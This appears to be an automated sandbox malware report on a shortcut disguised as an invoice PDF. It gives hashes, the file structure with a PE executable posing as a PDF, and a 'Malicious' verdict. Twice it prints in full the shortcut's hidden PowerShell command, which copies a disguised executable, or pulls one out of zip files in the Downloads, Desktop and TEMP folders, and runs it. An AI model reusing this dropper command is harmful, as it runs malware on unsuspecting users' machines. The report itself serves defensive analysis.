Infection Chain
Summary by MalvaGPT
Characteristics
Hash
Hash Value
MD5
36f7d8ec9b6a99bc47619de331ae7c00
Sha1
48afca504eee4de76215e837ca54bd02711f7167
Sha256
73caf2c4018f9a3fe595b2544806f416739225dc18426d2e2ae80fdf8ddd59ca
Sha384
f1148ae37df89ab15567feab36abc93a1b295f7cf4a541e6fa11e5bd36504e346a6b244465b48ba705f80071b96eeb2e
Sha512
e93faf02b72797d6c0dabc720f32a42812906e78bed6a5adb23153e4457fb05936b1e09c7363cee58af4057b6d8308577a43d8e88c0a1942c2a85cc5cfd0250c
SSDeep
49152:j8e0K368m6IEsvF1I2z2mNrGgrz/Loqab+q0O0zqF7CKA8CWi+wCerXOXx87id:30KNm6IEkLlz5GgXcqawkzCW73ekx7
TLSH
68D5334C46295F11F2B4692B664BA43D4BCCCDDA2E68B0FF36E9C788D0671F622D4B44
File Structure
docs
Appendix_A.pdf
Text (Preview)
#Stream {4}
Structure
Contract_Agreement.pdf
Text (Preview)
#Stream {4}
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0-preview.png
RT_GROUP_CURSOR4
ID:7F00
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Terms_of_Service.pdf
Text (Preview)
#Stream {4}
Informations
Name
Value
Appendix_A.pdf

1.4

Contract_Agreement.pdf

1.4

Terms_of_Service.pdf

1.4

Artefacts
Name
Value
LNK: Command Execution

powershell.exe -w h -nop -c "$n='scan_0291.pdf';$e=$env:TEMP+'\~d.exe';$f=$pwd.Path+'\docs\'+$n;if(Test-Path $f){cp $f $e -Force;saps $e}else{Add-Type -A System.IO.Compression.FileSystem;gci $env:TEMP,$env:USERPROFILE\Downloads,$env:USERPROFILE\Desktop -fi *.zip -ea 0|sort LastWriteTime -d|%{try{$z=[IO.Compression.ZipFile]::OpenRead($_.FullName);$x=$z.Entries|?{$_.Name-eq$n}|select -f 1;if($x){$s=$x.Open();$o=[IO.File]::Create($e);$s.CopyTo($o);$o.Close();$s.Close();$z.Dispose();saps $e;return}$z.Dispose()}catch{}}}"

36f7d8ec9b6a99bc47619de331ae7c00 (2.99 MB)
File Structure
docs
Appendix_A.pdf
Text (Preview)
#Stream {4}
Structure
Contract_Agreement.pdf
Text (Preview)
#Stream {4}
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0-preview.png
RT_GROUP_CURSOR4
ID:7F00
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Terms_of_Service.pdf
Text (Preview)
#Stream {4}
Characteristics
No malware configuration were found at this point.
Artefacts
Name
Value Location
LNK: Command Execution

powershell.exe -w h -nop -c "$n='scan_0291.pdf';$e=$env:TEMP+'\~d.exe';$f=$pwd.Path+'\docs\'+$n;if(Test-Path $f){cp $f $e -Force;saps $e}else{Add-Type -A System.IO.Compression.FileSystem;gci $env:TEMP,$env:USERPROFILE\Downloads,$env:USERPROFILE\Desktop -fi *.zip -ea 0|sort LastWriteTime -d|%{try{$z=[IO.Compression.ZipFile]::OpenRead($_.FullName);$x=$z.Entries|?{$_.Name-eq$n}|select -f 1;if($x){$s=$x.Open();$o=[IO.File]::Create($e);$s.CopyTo($o);$o.Close();$s.Close();$z.Dispose();saps $e;return}$z.Dispose()}catch{}}}"

Malicious

36f7d8ec9b6a99bc47619de331ae7c00 > Invoice_0291.pdf.lnk

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